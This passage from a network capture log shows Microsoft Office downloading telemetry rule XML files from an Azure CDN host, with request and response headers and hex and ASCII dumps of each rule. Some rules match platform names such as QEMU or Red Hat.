84	192.168.2.4	64652	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: afbc31ee-301e-0020-59ca-1a6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-r154656d9bczmvnbrzm0xmzrs40000000ku000000000905s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	64656	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 94508d5b-e01e-0052-6824-1ad9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-1597f696844gnxkv9xdcpvd3zn00000001ug000000006qwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	64655	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: e1dbe94c-b01e-0021-72a4-15cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-r154656d9bcwd5vj3zknz7qfhc0000000bm0000000000rxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	64653	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: fe1a2dd9-a01e-0053-57d8-1a8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-1597f696844hpm8qn8665b0upn00000000rg000000003y71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	64658	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a0476a89-101e-0028-4bc7-178f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-r154656d9bc5qmxtyvgyzcay0c0000000kr000000000au1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	64659	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 2c65b6c1-101e-0079-26fb-195913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-1597f696844rxj9pg4nkdptn1w00000000ng00000000cbr5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	64662	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 2888ff52-c01e-008e-229c-157381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-r154656d9bclprr71vn2nvcemn0000000we0000000000mzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	64661	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: ae768298-401e-005b-2b04-1a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-1597f6968448rwjgu0m52akk0400000001ug00000000brf0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	64660	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 801b5ab8-801e-00ac-3319-18fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-r154656d9bcgk58qzsfr5pfzg40000000w9g00000000cgz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	64663	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:45 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 7d3f2e15-101e-00a2-5aca-1a9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-r154656d9bc6kzfwvnn9vvz3c400000009y0000000006hus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	64664	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:45 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 0588c624-801e-0048-72e0-1af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-1597f696844vzfmb9nc7adr3a800000001rg000000002w7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	64667	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:45 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:45 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: d9118a4b-801e-00ac-0522-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081345Z-r154656d9bc8glqfu2duqg0z1w00000005y0000000002xyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:45 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
